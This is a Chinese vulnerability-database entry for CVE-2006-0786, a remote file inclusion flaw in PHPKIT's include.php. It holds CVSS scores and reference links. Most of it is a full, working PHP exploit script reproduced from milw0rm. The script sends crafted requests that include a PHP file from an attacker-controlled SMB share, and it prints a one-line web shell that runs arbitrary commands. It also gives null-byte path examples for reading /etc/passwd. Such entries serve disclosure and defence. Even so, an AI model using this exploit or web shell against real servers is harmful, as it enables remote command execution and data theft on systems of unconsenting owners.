CVE-2006-0786
CVSS5.1
发布时间 :2006-02-19 06:02:00
修订时间 :2008-09-05 17:00:13
NMCOE    

[原文]Incomplete blacklist vulnerability in include.php in PHPKIT 1.6.1 Release 2 and earlier, with allow_url_fopen enabled, allows remote attackers to conduct PHP remote file include attacks via a path parameter that specifies a (1) UNC share or (2) ftps URL, which bypasses the check for "http://", "ftp://", and "https://" URLs.


[CNNVD]PHPKit UNC路径远程文件包含漏洞(CNNVD-200602-297)

        PHPKIT是一款基于WEB的消息论坛系统。
        PHPKIT处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。PHPKIT的include.php没有正确验证path参数中的数据,远程攻击者可以在输入中插入UNC路径或FTPS资源,包含远程服务器上的SMB或FTP服务器的PHP脚本代码执行。

- CVSS (基础分值)

CVSS分值: 5.1 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0786
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0786
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200602-297
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/archive/1/archive/1/425196/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060216 PHPKIT >= 1.6.1r2 arbitrary local/remote inclusion (unproperly patched in previous versions)
http://retrogod.altervista.org/phpkit_161r2_incl_xpl.html
(UNKNOWN)  MISC  http://retrogod.altervista.org/phpkit_161r2_incl_xpl.html
http://securitytracker.com/id?1015640
(UNKNOWN)  SECTRACK  1015640
http://securityreason.com/securityalert/445
(UNKNOWN)  SREASON  445

- 漏洞信息

PHPKit UNC路径远程文件包含漏洞
中危 未知
2006-02-19 00:00:00 2006-02-20 00:00:00
远程  
        PHPKIT是一款基于WEB的消息论坛系统。
        PHPKIT处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。PHPKIT的include.php没有正确验证path参数中的数据,远程攻击者可以在输入中插入UNC路径或FTPS资源,包含远程服务器上的SMB或FTP服务器的PHP脚本代码执行。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.phpkit.de

- 漏洞信息 (1501)

PHPKIT <= 1.6.1R2 (filecheck) Remote Commands Execution Exploit (EDBID:1501)
php webapps
2006-02-16 Verified
0 rgod
N/A [点击下载]
<?php
#  ---PHPKIT_161r2_incl_xpl.php                          4.27 16/02/2006       #
#                                                                              #
#           PHPKIT <= 1.6.1R2 remote commands execution exploit                #
#                              coded by rgod                                   #
#                    site: http://retrogod.altervista.org                      #
#                                                                              #
#  -> works with allow_url_fopen = On                                          #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "All men can see the tactics whereby I conquer, but what none can  #
#  see is the strategy out of which victory is evolved."                       #

#  also if magic_quotes_gpc = Off, you can view any file on target system by null
#  char injection:
#  http://[target]/[path]/include.php?path=/etc/passwd%00.php
#  http://[target]/[path]/include.php?path=c:\boot.ini%00.php 
#  4 lines above added /str0ke

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",0);
ob_implicit_flush (1);

echo'<html><head><title>* PHPKIT <= 1.6.1R2 remote commands execution exploit **
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
* PHPKIT <= 1.6.1R2 remote commands execution exploit ** </p><p class="Stile6">a
script  by  rgod  at    <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a> </p> <table  width="84%"><tr><td width="43%">
<form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'">    <p><input
type="text"  name="host"> <span class="Stile5">* target    (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/phpkit/ or just / ) </span></p><p><input type="text" name="cmd">          <span
class="Stile5"> * specify a command   </span>   </p>   <p>   <input  type="text"
name="smb_location"><span class="Stile5">* specify a Samba resource(ex: \\\\192.
168.1.2\\c\\path_to\\shell.php </span></p> <p> <input   type="text" name="port">
<span class="Stile5">specify  a  port other than  80 (default value)</span> </p>
<p><input   type="text" name="proxy"><span class="Stile5"> send  exploit through
an HTTP proxy (ip:port) </span>  </p>  <p>  <input   type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "<td>&nbsp;&nbsp;</td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
		}
      $ki=$ki+16;
      echo "</tr><tr>";
    }
    if (strlen($datai)==1) {
      echo "<td>0".htmlentities($datai)."</td>";
    }
    else {
      echo "<td>".htmlentities($datai)."</td> ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "<td>&nbsp&nbsp</td>";
  }
  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
    echo "<td>".htmlentities($headeri[$li])."</td>";
  }
  echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo 'Not a valid prozy...';
    die;
    }
  echo "OK.<br>";
  echo "Attempting to connect to ".$host." on port ".$port."...<br>";
  if ($proxy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result < 0) {
    echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
  }
  else {
    echo "OK.<br><br>";
    $html= '';
    socket_write($socket, $packet, strlen($packet));
    echo "Reading response:<br>";
    while ($out= socket_read($socket, 2048)) {$html.=$out;}
    echo nl2br(htmlentities($html));
    echo "Closing socket...";
    socket_close($socket);
  }
  }
}

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid prozy...';die;
    }
    $parts=explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$smb_location=urlencode(trim($_POST[smb_location]));
$cmd=urlencode($_POST[cmd]);$proxy=$_POST[proxy];
echo "<span class=\"Stile5\">";

if (($host<>'') and ($path<>'') and ($cmd<>'') and ($smb_location<>''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r","",$host);$host=str_replace("\n","",$host);
  $path=str_replace("\r","",$path);$path=str_replace("\n","",$path);

  # STEP X -> One and unique, arbitrary remote inclusion ...
  $packet="GET ".$p."include.php?CMD=$cmd&path=".$smb_location."/ HTTP/1.1\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="User-Agent: GoogleBot 1.1\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  if (eregi("Hi Master!",$html)) {echo "Exploit succeeded...";}
			               else {echo "Exploit failed...";}
}
else
{echo "Note: on \\\\someip\\path_to\\shell.php you need this code:<br><br>";
 echo  nl2br(htmlentities("
        <?php
        ob_clean();echo\"Hi Master!\";ini_set(\"max_execution_time\",0);passthru(\$_GET[CMD]);die;
        ?>
        "))."<br>";
  echo "Fill * required fields, optionally specify a proxy...";}
echo "</span>";
?>

# milw0rm.com [2006-02-16]
		

- 漏洞信息

28010
PHPKIT include.php Blacklist Bypass Remote File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2006-02-16 Unknow
2006-02-16 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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